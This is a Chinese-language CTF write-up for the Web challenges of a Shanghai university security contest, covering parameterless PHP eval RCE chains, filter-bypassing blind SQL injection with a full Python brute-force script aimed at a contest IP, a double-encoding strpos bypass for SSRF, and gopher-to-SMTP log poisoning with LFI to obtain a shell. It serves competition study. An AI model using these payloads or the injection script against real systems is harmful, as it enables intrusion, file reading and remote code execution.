Writeup：第五届上海市大学生网络安全大赛-Web

Writeup：第五届上海市大学生网络安全大赛-Web

一、Decade

源码（大概是这样。。。）

<?php

$code = $_GET['code'];

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {

    if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {

        echo 'bye~';

    } else {

        eval($code);

    }

} else {

    echo "No way!!!";

}

分析一下正则，可以调用纯字母的函数，但是不可以有参数

学弟的payload是这样的echo(next(file(end(scandir(chr(ord(hebrevc(crypt(phpversion(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))))));

官方wp的payload是echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))))));

学弟找到了这篇博客ByteCTF 2019部分WP

研究一下其中shellcode的部分。

无参数函数RCE(./..)

var_dump(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));
- phpversion()返回php版本，如7.3.5
- floor(phpversion())返回7
- sqrt(floor(phpversion()))返回2.6457513110646
- tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
- cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
- sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
- ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
- chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
- var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
- chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))返回True
- localtime(time(True))返回一个数组
- pos(localtime(time(1)))返回数组当前指针位置的数据，即tm_sec,可以为46
readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
- 同上
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
- pos(localeconv())返回.

其他思路被过滤的比较多，但是也有必要了解一下

PHP Parametric Function

二、Easysql

当时做的时候参考了SQL注入有趣姿势总结

 Sql注入笔记

这道题过滤蛮多的

if

case when绕过
or

or的绕过不难，关键是information表不能用了
- 获取表名：MySQL数据库的Innodb引擎的注入
- 获取列名\无列名注入
```
select `2` from (select 1,2 union select * from fl111aa44a99g)x limit 1 offset 1
```

,

实际上这里,也被过滤了，所以上面的payload要改成

select `3` from (select * from (select 1)a JOIN (select 2)b join (select 3)c /*!union*/ select * from fl111aa44a99g)x limit 1 offset 1

union select

没有单独过滤union，我用的内联注释/*!union*/,其实把空格换成%0a就行了

附上我的脚本：

import requests

import string

s = requests.session()

url = "http://47.105.183.208:29898/article.php"

payload = ''

opt = string.ascii_letters + string.digits + string.punctuation

result = ''

for x in range(1, 50):

    for i in opt.replace("%", ''):

        # sql = "select group_concat(table_name) from mysql.innodb_table_stats where database_name=database() limit 1 offset 1"

        sql = "select `3` from (select * from (select 1)a JOIN (select 2)b join (select 3)c /*!union*/ select * from fl111aa44a99g)x limit 1 offset 1"

        # sql = "select `2` from (select 1,2 union select * from article_fl111aa44a99g)x limit 1 offset 1"

        payload = "1'=(case when (%s) like '%s%%' then 1 else 0 end)='1" % (sql, result + i)

        params = {

            'id': payload,

        }

        # print(payload)

        response = s.get(url, params=params)

        if '2333333333333' in response.text:

            result += i

            break

    if '%' in result:

        break

    print(result)

# database: cccttffff

# table: article, fl111aa44a99g

有师傅说直接union注入就可以了，好像有点道理。。

三、Babyt5

原题哭了。。

6月安恒杯web2 —— 一道SSRF题

二次编码绕过strpos

https://bugs.php.net/bug.php?id=76671&edit=1

Description:

The bug is more related to when we send a string with encode to the strpos(), when we sent a string with double encode we were able to bypass the verification, using %2570hp if the case is like strpos($string, "php").

Test script:

$x = $_GET['x']; //?x=file:///var/www/html/readme.%2570hp

$pos = strpos($x,"php");

if($pos){

        exit("denied");

}

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,"$x");

curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

$result = curl_exec($ch);

echo $result;

Expected result:

----------------

denied

Actual result:

--------------

<?php

//readme

?>

ssrf：利用gopher协议攻击smtp服务，配合LFI getshell

https://github.com/tarunkant/Gopherus

先读取/etc/hosts获取内网IP，然后尝试访问邻近IP，可以发现有个主机开放了25端口--SMTP服务。我们可以利用gopher协议向目标机发送邮件，把后门写进日志里

linux中邮件日志路径一般为

/var/log/maillog

/var/log/mail.log

/var/adm/maillog

/var/adm/syslog/mail.log

用LFI包含日志文件就可以getshell了

四、lol2

没有复现，不纸上谈兵了